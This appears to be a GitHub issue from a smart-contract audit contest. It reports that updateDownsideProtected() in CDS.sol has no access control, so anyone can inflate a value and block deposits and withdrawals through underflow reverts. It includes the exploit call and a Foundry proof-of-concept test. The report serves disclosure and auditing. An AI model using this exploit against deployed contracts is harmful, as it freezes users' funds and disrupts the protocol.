Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Young Lemonade Chimpanzee - updateDownsideProtected() to Deny Service and Cause Protocol Disruption #1044

Open
sherlock-admin4 opened this issue Dec 30, 2024 · 0 comments

Comments

@sherlock-admin4
Copy link

Young Lemonade Chimpanzee

Medium

updateDownsideProtected() to Deny Service and Cause Protocol Disruption

Summary

A missing access control in updateDownsideProtected() allows attackers to inflate the downsideProtected variable arbitrarily, disrupting the protocol by reducing totalCdsDepositedAmount to zero or triggering reverts. This Denial of Service (DoS) attack blocks legitimate users from interacting with the protocol and destabilizes its internal accounting.

Root Cause

Code Location: In CDS.sol, updateDownsideProtected() lacks access restrictions, enabling anyone to call it with unvalidated input:

function updateDownsideProtected(uint128 downsideProtectedAmount) external {
    downsideProtected += downsideProtectedAmount;
}

Impact: During deposit or withdrawal operations, _updateCurrentTotalCdsDepositedAmount() subtracts the inflated downsideProtected value from totalCdsDepositedAmount, causing significant accounting errors:

function _updateCurrentTotalCdsDepositedAmount() private {
    if (downsideProtected > 0) {
        totalCdsDepositedAmount -= downsideProtected;
        totalCdsDepositedAmountWithOptionFees -= downsideProtected;
        downsideProtected = 0;
    }
}

Internal pre-conditions

The updateDownsideProtected() function must remain unrestricted.
totalCdsDepositedAmount must be a positive value.
An attacker calls updateDownsideProtected() with a massive downsideProtectedAmount.

External pre-conditions

No response

Attack Path

Assume totalCdsDepositedAmount = 500,000 USDa.
The downsideProtected variable is normally negligible unless legitimate coverage is applied.

An attacker calls:
cds.updateDownsideProtected(1_000_000_000e18);
This inflates downsideProtected to an unrealistically high value.

Triggering the Disruption:
When any user interacts with the protocol (e.g., calling deposit() or withdraw()), _updateCurrentTotalCdsDepositedAmount()

executes:

totalCdsDepositedAmount -= downsideProtected;
downsideProtected = 0;

The subtraction reduces totalCdsDepositedAmount to a large negative value or reverts due to underflow.

Result:
Protocol reverts any further operations relying on totalCdsDepositedAmount, such as calculateRatio() or collateralization checks.
Legitimate users are blocked from deposits, withdrawals, or redemptions.

Impact

Denial of Service:
Blocks legitimate user interactions across the protocol.
Prevents deposits, withdrawals, and other critical operations.
System Instability:
Misrepresents totalCdsDepositedAmount in core logic, destabilizing CDS coverage ratios and potentially forcing erroneous liquidations.
User Loss:
Honest users suffer from frozen positions and blocked access to funds.

PoC

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.0;

import "forge-std/Test.sol";
import "../src/CDS.sol";

contract UpdateDownsideProtectedExploitTest is Test {
    CDS private cds;

    address attacker = address(0xdead);
    address user = address(0xbeef);

    function setUp() public {
        cds = new CDS();
        vm.deal(attacker, 10 ether);
        vm.deal(user, 50 ether);

        // User deposits to set an initial totalCdsDepositedAmount
        vm.startPrank(user);
        cds.deposit{value: 10 ether}(0, 50000 * 10 ** 18, false, 0, 30 days);
        vm.stopPrank();
    }

    function testExploit() public {
        vm.startPrank(attacker);

        // Attacker inflates downsideProtected
        cds.updateDownsideProtected(1_000_000_000e18);

        // Legitimate user attempts to withdraw, triggering the underflow
        vm.startPrank(user);
        vm.expectRevert("CDS_NotEnoughFundInCDS");
        cds.withdraw(1, 0, 0, new bytes(0));
        vm.stopPrank();
    }
}

Mitigation

No response

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant